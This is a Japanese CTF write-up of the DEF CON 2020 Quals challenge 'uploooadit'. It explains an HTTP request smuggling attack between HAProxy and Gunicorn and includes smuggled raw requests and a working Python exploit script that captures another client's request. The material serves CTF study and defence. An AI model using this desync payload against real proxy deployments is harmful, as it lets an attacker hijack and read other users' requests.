DEF CON CTF 2020 Quals Writeup - uploooadit

今年もTeam EnuのメンバーとしてDEF CON CTFの予選に出てきました。uploooaditとpoootを解いたので久しぶりにwriteupを書いていく。

問題の調査

問題として問題サーバーのURLとサーバーで動いているソースコードが2つ与えられる。

https://github.com/o-o-overflow/dc2020q-uploooadit/blob/master/app.py

https://github.com/o-o-overflow/dc2020q-uploooadit/blob/master/store.py

与えられたコードを読むと、このサーバーには2つの機能があることがわかる。

  • ファイル保存機能: /files/にファイルをPOSTするとファイルを保存できる。このとき、リクエストヘッダに指定したX-guidをキーとして保存される。
  • ファイル読み出し機能: /files/<guid>からファイルをGETできる。

2つのソースコードを読む限り、このWebアプリには脆弱性があるようには見えない。

サーバーにリクエストを投げてみるとレスポンスに以下の情報が含まれていることに気づく。

Server: gunicorn/20.0.0
Via: haproxy

Webアプリに脆弱性がないとなるとより低いレイヤー(つまりミドルウェア)での攻撃である可能性があると考え、HTTP request smuggling*1関連の可能性があると思った。さらにGunicorn 20.0.1のChangelogに次の一文があるのを見つけ、request smugglingを使う蓋然性がかなり高いと感じた。

fixed chunked encoding support to prevent any request smuggling

HTTP request smuggling

HAProxyとGunicornの組み合わせでrequest smugglingをググった結果、次のページが見つかった。

nathandavison.com

一言で言うと、この問題は特定のバージョンのHAProxyとGunicornの組み合わせた場合、それぞれのサーバーのリクエストの解釈の方法の違いからrequest smugglingを発生させ、他の人のリクエストを操作できてしまう。というもの。

具体的には[ブラウザ] -> [HAProxy] -> [Gunicorn]という構成において、攻撃者が次のようなリクエストを行うとする。

POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 43
Transfer-Encoding: [\x0b]chunked

1
Z
0

GET /foobar HTTP/1.1
X-Foo: AAA

するとHAProxyは(本来ならばTransfer-Encodingを優先すべきだが\x0bという文字が含まれることによりリクエストがchunkedであると解釈できず)Content-Length: 43のリクエストとして解釈する。また、攻撃者のリクエストの直後に被害者が次のようなリクエストを行うとする。

GET / HTTP/1.1
Host: 127.0.0.1

するとバックエンドのGunicornには、コネクションが使いまわされている場合、次のリクエストが送信されることになる。

POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 43
Transfer-Encoding: [\x0b]chunked

1
Z
0

GET /foobar HTTP/1.1
X-Foo: AAAGET / HTTP/1.1
Host: 127.0.0.1

Gunicornは最初のリクエストをTransfer-Encoding: chunkedとして解釈するため、2つのリクエストはそれぞれ次のように解釈されることになる。

POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 43
Transfer-Encoding: [\x0b]chunked

1
Z
0
GET /foobar HTTP/1.1
X-Foo: AAAGET / HTTP/1.1
Host: 127.0.0.1

被害者は本来/に対してリクエストをしたかったのに/foobarに対してリクエストをしたことになっている。

解法

request smugglingを使うことにより、他人にリクエストを操作できることが分かった。これにより、今回の問題においては他人のリクエストをサーバーにファイルとして保存させることができる。これを読み出すことで他人のリクエスト内容を覗き見ることができる。botか何かが定期的にflagを書き込んでいると仮定して次のスクリプトを回し続けることで https://uploooadit.oooverflow.io/files/00000000-0000-0000-0005-00000000f1a8にリクエストが保存されるので、この内容を監視することでflagを入手することができた。

import socket
import ssl
import timeout_decorator
 
@timeout_decorator.timeout(0.7)
def main():
   HOST = "uploooadit.oooverflow.io"
   PORT = 443
 
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.setblocking(1)
   sock.connect((HOST, PORT))
 
   context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
   context.verify_mode = ssl.CERT_NONE
 
   if ssl.HAS_SNI:
       secure_sock = context.wrap_socket(sock, server_side=False, server_hostname=HOST)
   else:
       secure_sock = context.wrap_socket(sock, server_side=False)
 
 
   req = """POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Type: text/plain
X-guid: 00000000-0000-0000-0003-00000000f1a8
Content-Length: 162
Transfer-Encoding: \x0cchunked
 
1
A
0
 
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Type: text/plain
X-guid: 00000000-0000-0000-0005-00000000f1a8
Content-Length: 386
 
a"""
 
   print(req.replace("\n", "\r\n").encode())
   secure_sock.write(req.replace("\n", "\r\n").encode())
   print(secure_sock.read(1024).decode())
 
   secure_sock.close()
   sock.close()
 
if __name__ == "__main__":
   main()

書き込まれたファイル:

aPOST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: 15db6493-44b5-4c9e-887b-82e639a25900
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

ちなみにContent-Length: 386は小さすぎても大きすぎてもダメなので小さい値から徐々に上げていくことでflagを全て読み出すことができる(大きすぎるとリクエストが失敗してファイルに何も書き込まれない)。

その他

問題のソースコードと作者による解説動画が公開されている(作者の想定通りの解法だった模様)。

GitHub - o-o-overflow/dc2020q-uploooadit: HTTP Desync Attack

*1:この記事が非常に分かりやすい: https://portswigger.net/web-security/request-smuggling